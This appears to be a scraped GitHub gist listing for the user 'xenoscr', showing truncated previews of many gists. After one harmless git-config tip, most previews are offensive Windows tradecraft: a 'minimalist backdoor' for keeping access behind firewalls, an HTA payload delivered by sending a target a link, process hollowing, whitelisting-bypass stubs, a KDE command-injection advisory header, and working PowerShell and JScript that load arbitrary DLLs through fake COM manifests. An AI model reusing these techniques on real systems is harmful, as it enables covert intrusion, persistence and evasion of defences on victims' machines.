xenoscr

Locate the section for your github remote in the .git/config file. It looks like this:

[remote "origin"]
	fetch = +refs/heads/*:refs/remotes/origin/*
	url = [email protected]:joyent/node.git

Now add the line fetch = +refs/pull/*/head:refs/remotes/origin/pr/* to this section. Obviously, change the github url to match your project's URL. It ends up looking like this:

xenoscr

From the inside out, a minimalist backdoor. 

I'm a pretty big fan of simple, and elegant.  In this gist blog, I'll show you a very simple way to maintain access to a remote system that is behind a FireWall, NAT and VPN.

We will use in this example 3 tools.
1. Node
2. PowerShell
3. LocalTunnel

While I have a full compact, custom version, I will not release this.  

xenoscr

<#
  Simply Invoke the Script and send the target a link to http://192.168.1.1/app.hta
  To change your server, simply find and replace 192.168.1.1 with your server in the code.
  
#>

<#
	Moving Credtis for CACTUSTORCH HERE
	I was in escape sequcence hell ;-) 
	'                                (              )  (            )  

xenoscr

/***************
 * Simple Process Hollowing in C# 
 *
 * #Build Your Binaries
 * 		c:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe Hollowing.cs /unsafe
 *  
 *  @author: Michael Gorelik <[email protected]>
 *  gist.github.com/smgorelik/9a80565d44178771abf1e4da4e2a0e75
 * #Most of the code taken from here: @github: github.com/ambray

xenoscr

using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;

/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause

xenoscr

using System;
using System.IO;
using System.Text;
using System.IO.Compression;
using System.EnterpriseServices;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Security.Cryptography;

/*

xenoscr

		                     _       _ 
		  _______ _ __ ___  | | ___ | |
		 |_  / _ \ '__/ _ \ | |/ _ \| |
		  / /  __/ | | (_) || | (_) | |
		 /___\___|_|  \___(_)_|\___/|_|
		    	  https://zero.lol
		 	  zero days 4 days

Title: KDE 4/5 KDesktopFile Command Injection
Date: July 28th 2019

xenoscr

// http://www.exploit-monday.com/2013/06/undocumented-ntquerysysteminformation.html

// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

enum _SYSTEM_INFORMATION_CLASS
{
    SystemBasicInformation                                                = 0x0000,
    SystemProcessorInformation                                            = 0x0001,
    SystemPerformanceInformation                                          = 0x0002,
    SystemTimeOfDayInformation                                            = 0x0003,

xenoscr

#Doesn't Even Have to Be A Conformant COM DLL To trigger the load.

# Sample DLL To inject here 
# https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1179

$manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> 	<assemblyIdentity type="win32" name="LiterallyDoesentMatter" version="6.6.6.0"/> 	<file name="Anyname.dll.anything">     	<comClass         	description="Any Description HERE"         	clsid="{89565276-A714-4a43-91FE-EDACDCC0FFEE}" threadingModel="Both"         	progid="JustMakeSomethingUp"/> 	</file>  </assembly>';
$ax = new-object -Com "Microsoft.Windows.ActCtx"
$ax.ManifestText = $manifest;
$DWX = $ax.CreateObject("JustMakeSomethingUp");

xenoscr

new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'C:\\Windows\\System32\\Tasks';
//new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_ASM') = "mydll, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null"
//new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_TYPE') = "MyAppDomainManager";
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';


var manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"> <dependency><dependentAssembly>        <assemblyIdentity name="tasks" version="0.0.0.0"/>      </dependentAssembly> </dependency>	<assemblyIdentity name="tasks" type="win32" version="0.0.0.0" /><description>Built with love by Casey Smith @subTee </description><clrClass   name="MyDLL.Operations"   clsid="{31D2B969-7608-426E-9D8E-A09FC9A5ACDC}"   progid="MyDLL.Operations"   ru